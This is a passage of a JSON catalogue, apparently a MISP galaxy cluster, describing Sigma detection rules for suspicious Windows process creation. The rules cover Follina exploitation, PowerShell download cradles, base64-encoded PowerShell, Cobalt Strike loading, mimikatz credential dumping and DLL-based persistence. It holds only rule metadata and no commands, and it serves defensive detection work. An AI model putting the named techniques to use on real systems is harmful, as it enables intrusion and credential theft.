"description": "Detects indirect command execution via Program Compatibility Assistant \"pcwrun.exe\" leveraging the follina (CVE-2022-30190) vulnerability", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/13", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_lolbin_pcwrun_follina.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1535663791362519040", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pcwrun_follina.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.execution" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6004abd0-afa4-4557-ba90-49d172e0a299", "value": "Execute Pcwrun.EXE To Leverage Follina" }, { "description": "Detects the execution of CSharp interactive console by PowerShell", "meta": { "author": "Michael R. (@nahamike01)", "creation_date": "2020/03/08", "falsepositive": [ "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." ], "filename": "proc_creation_win_susp_use_of_csharp_console.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_csharp_console.yml" ], "tags": [ "attack.execution", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61", "value": "Suspicious Use of CSharp Interactive Console" }, { "description": "Allow Incoming Connections by Port or Application on Windows Firewall", "meta": { "author": "Markus Neis, Sander Wiebing", "creation_date": "2019/01/29", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_netsh_fw_add.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c", "value": "Netsh Port or Application Allowed" }, { "description": "Detects suspicious process related to rundll32 based on arguments", "meta": { "author": "frack113", "creation_date": "2021/12/04", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_rundll32_script_run.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.011/T1218.011.md", "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_script_run.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7", "value": "Suspicious Rundll32 Script in CommandLine" }, { "description": "Detects a Windows program executable started from a suspicious folder", "meta": { "author": "Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali", "creation_date": "2017/11/27", "falsepositive": [ "Exotic software" ], "filename": "proc_creation_win_system_exe_anomaly.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/GelosSnake/status/934900723426439170", "https://asec.ahnlab.com/en/39828/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036" ] }, "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915", "value": "System File Execution Location Anomaly" }, { "description": "Detects usage of findstr with the \"EVERYONE\" keyword. This is often used in combination with icacls to look for misconfigured files or folders permissions", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_findstr_recon_everyone.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_recon_everyone.yml" ], "tags": [ "attack.credential_access", "attack.t1552.006" ] }, "related": [ { "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "47e4bab7-c626-47dc-967b-255608c9a920", "value": "Suspicious Recon Activity Using Findstr Keywords" }, { "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", "meta": { "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", "creation_date": "2019/10/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_child_process_as_system_.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/antonioCoco/RogueWinRM", "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://twitter.com/Cyb3rWard0g/status/1453123054243024897", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_child_process_as_system_.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1134.002" ] }, "related": [ { "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "590a5f4c-6c8c-4f10-8307-89afe9453a9d", "value": "Suspicious Child Process Created as System" }, { "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", "meta": { "author": "Florian Roth", "creation_date": "2021/07/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_revil_kaseya.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", "https://www.joesandbox.com/analysis/443736/0/html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" ], "tags": [ "attack.execution", "attack.t1059", "attack.g0115" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", "value": "REvil Kaseya Incident Malware Patterns" }, { "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", "meta": { "author": "Florian Roth", "creation_date": "2022/08/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_obfuscated_ip_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/Yasser_Elsnbary/status/1553804135354564608", "https://h.43z.one/ipconverter/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_obfuscated_ip_download.yml" ], "tags": [ "attack.discovery" ] }, "uuid": "cb5a2333-56cf-4562-8fcb-22ba1bca728d", "value": "Obfuscated IP Download" }, { "description": "Rundll32 can be use by Cobalt Strike with StartW function to load DLLs from the command line.", "meta": { "author": "Wojciech Lesicki", "creation_date": "2021/06/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_cobaltstrike_load_by_rundll32.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://redcanary.com/threat-detection-report/", "https://www.cobaltstrike.com/help-windows-executable", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_load_by_rundll32.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ae9c6a7c-9521-42a6-915e-5aaa8689d529", "value": "CobaltStrike Load by Rundll32" }, { "description": "Detects suspicious ways to download files or content using PowerShell", "meta": { "author": "Florian Roth", "creation_date": "2022/03/24", "falsepositive": [ "Scripts or tools that download files" ], "filename": "proc_creation_win_susp_powershell_download_cradles.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_download_cradles.yml" ], "tags": "No established tags" }, "uuid": "6e897651-f157-4d8f-aaeb-df8151488385", "value": "PowerShell Web Download" }, { "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", "meta": { "author": "Timur Zinniatullin, oscd.community", "creation_date": "2019/10/21", "falsepositive": [ "Admin activity" ], "filename": "proc_creation_win_network_sniffing.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml" ], "tags": [ "attack.credential_access", "attack.discovery", "attack.t1040" ] }, "uuid": "ba1f7802-adc7-48b4-9ecb-81e227fddfd5", "value": "Network Sniffing" }, { "description": "Detects a suspicious parents of powershell.exe process", "meta": { "author": "Teymur Kheirkhabarov, Harish Segar (rule)", "creation_date": "2020/03/20", "falsepositive": [ "Other scripts" ], "filename": "proc_creation_win_susp_powershell_parent_process.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_parent_process.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "754ed792-634f-40ae-b3bc-e0448d33f695", "value": "Suspicious PowerShell Parent Process" }, { "description": "Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent", "meta": { "author": "Florian Roth", "creation_date": "2022/07/23", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_selectmyparent.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.picussecurity.com/resource/blog/how-to-detect-parent-pid-ppid-spoofing-attacks", "https://www.virustotal.com/gui/search/filename%253A*spoof*%2520filename%253A*ppid*/files", "https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing", "https://pentestlab.blog/2020/02/24/parent-pid-spoofing/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_selectmyparent.yml" ], "tags": [ "attack.defense_evasion", "attack.t1134.004" ] }, "related": [ { "dest-uuid": "93591901-3172-4e94-abf8-6034ab26f44a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "52ff7941-8211-46f9-84f8-9903efb7077d", "value": "PPID Spoofing Tool Usage" }, { "description": "Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts", "meta": { "author": "Florian Roth", "creation_date": "2022/01/20", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_advancedrun_priv_user.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", "https://twitter.com/splinter_code/status/1483815103279603714", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_advancedrun_priv_user.yml" ], "tags": "No established tags" }, "uuid": "fa00b701-44c6-4679-994d-5a18afa8a707", "value": "Suspicious AdvancedRun Runas Priv User" }, { "description": "Detects an attempt to add a potentially crafted DLL as a plug in of the DNS Service.\nDetects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain.\nDNS zones used to host the DNS records for a particular domain\n", "meta": { "author": "@gott_cyber", "creation_date": "2022/07/31", "falsepositive": [ "Legitimate administration use" ], "filename": "proc_creation_win_dnscmd_discovery.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd", "https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/", "https://docs.microsoft.com/en-us/azure/dns/dns-zones-records", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_discovery.yml" ], "tags": [ "attack.discovery", "attack.execution", "attack.t1543.003" ] }, "uuid": "b6457d63-d2a2-4e29-859d-4e7affc153d1", "value": "Discovery/Execution via dnscmd.exe" }, { "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", "meta": { "author": "Austin Songer @austinsonger, Florian Roth", "creation_date": "2021/11/26", "falsepositive": [ "Dump64.exe in other folders than the excluded one" ], "filename": "proc_creation_win_lolbin_dump64.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1460597833917251595", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "129966c9-de17-4334-a123-8b58172e664d", "value": "Suspicious Dump64.exe Execution" }, { "description": "lolbas Cmdl32 is use to download a payload to evade antivirus", "meta": { "author": "frack113", "creation_date": "2021/11/03", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_cmdl32.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1218", "attack.t1202" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f37aba28-a9e6-4045-882c-d5004043b337", "value": "Suspicious Cmdl32 Execution" }, { "description": "Commandline to launch powershell with a base64 payload", "meta": { "author": "frack113", "creation_date": "2022/01/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_encode.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/", "https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encode.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fb843269-508c-4b76-8b8d-88679db22ce7", "value": "Suspicious Execution of Powershell with Base64" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", "creation_date": "2022/02/11", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_anydesk.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94", "value": "Use of Anydesk Remote Access Software" }, { "description": "Atbroker executing non-deafualt Assistive Technology applications", "meta": { "author": "Mateusz Wydra, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Legitimate, non-default assistive technology applications execution" ], "filename": "proc_creation_win_lolbin_susp_atbroker.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_atbroker.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f24bcaea-0cd1-11eb-adc1-0242ac120002", "value": "Suspicious Atbroker Execution" }, { "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", "meta": { "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", "creation_date": "2019/11/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027", "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf", "value": "Invoke-Obfuscation Obfuscated IEX Invocation" }, { "description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/09", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_lolbin_rasautou_dll_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Rasautou/", "https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html", "https://github.com/fireeye/DueDLLigence", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rasautou_dll_execution.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd3d1298-eb3b-476c-ac67-12847de55813", "value": "DLL Execution via Rasautou.exe" }, { "description": "Detects events that appear when a user click on a link file with a powershell command in it", "meta": { "author": "frack113", "creation_date": "2022/02/06", "falsepositive": [ "Legitimate commands in .lnk files" ], "filename": "proc_creation_win_embed_exe_lnk.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.x86matthew.com/view_post?id=embed_exe_lnk", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_embed_exe_lnk.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "30e92f50-bb5a-4884-98b5-d20aa80f3d7a", "value": "Hidden Powershell in Link File Pattern" }, { "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "meta": { "author": "frack113", "creation_date": "2021/12/10", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_sharpview.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", "https://github.com/tevora-threat/SharpView/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml" ], "tags": [ "attack.discovery", "attack.t1049", "attack.t1069.002", "attack.t1482", "attack.t1135", "attack.t1033" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b2317cfa-4a47-4ead-b3ff-297438c0bc2d", "value": "Suspicious Execution of SharpView Aka PowerView" }, { "description": "Detects suspicious IIS native-code module installations via command line", "meta": { "author": "Florian Roth", "creation_date": "2019/12/11", "falsepositive": [ "Unknown as it may vary from organisation to organisation how admins use to install IIS modules" ], "filename": "proc_creation_win_susp_iss_module_install.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/", "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_iss_module_install.yml" ], "tags": [ "attack.persistence", "attack.t1505.003" ] }, "uuid": "9465ddf4-f9e4-4ebd-8d98-702df3a93239", "value": "IIS Native-Code Module Command Line Installation" }, { "description": "ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.", "meta": { "author": "frack113", "creation_date": "2022/12/09", "falsepositive": [ "Very Likely, including launching cmd.exe via Run As Administrator" ], "filename": "proc_creation_win_susp_conhost_option.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control", "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_conhost_option.yml" ], "tags": [ "attack.defense_evasion", "attack.t1202" ] }, "related": [ { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3037d961-21e9-4732-b27a-637bcc7bf539", "value": "Suspicious High IntegrityLevel Conhost Legacy Option" }, { "description": "Detects shell spawned from Java host process, which could be a sign of exploitation (e.g. log4j exploitation)", "meta": { "author": "Andreas Hunkeler (@Karneades), Nasreddine Bencherchali", "creation_date": "2021/12/17", "falsepositive": [ "Legitimate calls to system binaries", "Company specific internal usage" ], "filename": "proc_creation_win_shell_spawn_by_java.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shell_spawn_by_java.yml" ], "tags": [ "attack.initial_access", "attack.persistence", "attack.privilege_escalation" ] }, "uuid": "dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0", "value": "Shells Spawned by Java" }, { "description": "Detects suspicious powershell execution that ends with a common flag instead of a command or a filename to execute (could be a sign of implicit execution that uses files in WindowsApps directory)", "meta": { "author": "pH-T, Florian Roth", "creation_date": "2022/04/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_schtasks_powershell_windowsapps_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_powershell_windowsapps_execution.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.t1053.005", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b66474aa-bd92-4333-a16c-298155b120df", "value": "Suspicious Powershell No File or Command" }, { "description": "Detects persitence via netsh helper", "meta": { "author": "Victor Sergeev, oscd.community", "creation_date": "2019/10/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_netsh_dll_persistence.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://attack.mitre.org/software/S0108/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_dll_persistence.yml" ], "tags": [ "attack.privilege_escalation", "attack.t1546.007", "attack.s0108" ] }, "related": [ { "dest-uuid": "f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "56321594-9087-49d9-bf10-524fe8479452", "value": "Suspicious Netsh DLL Persistence" }, { "description": "Detects suspicious execution of 'Msbuild.exe' by a uncommon parent process", "meta": { "author": "frack113", "creation_date": "2022/11/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_msbuild.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/abdf586e-df0c-4d39-89a7-06bf24913401/", "https://www.echotrail.io/insights/search/msbuild.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_msbuild.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "33be4333-2c6b-44f4-ae28-102cdbde0a31", "value": "Suspicious Msbuild Execution By Uncommon Parent Process" }, { "description": "Detection well-known mimikatz command line arguments", "meta": { "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton", "creation_date": "2019/10/22", "falsepositive": [ "Legitimate Administrator using tool for password recovery" ], "filename": "proc_creation_win_mimikatz_command_line.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://tools.thehacker.recipes/mimikatz/modules", "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mimikatz_command_line.yml" ], "tags": [ 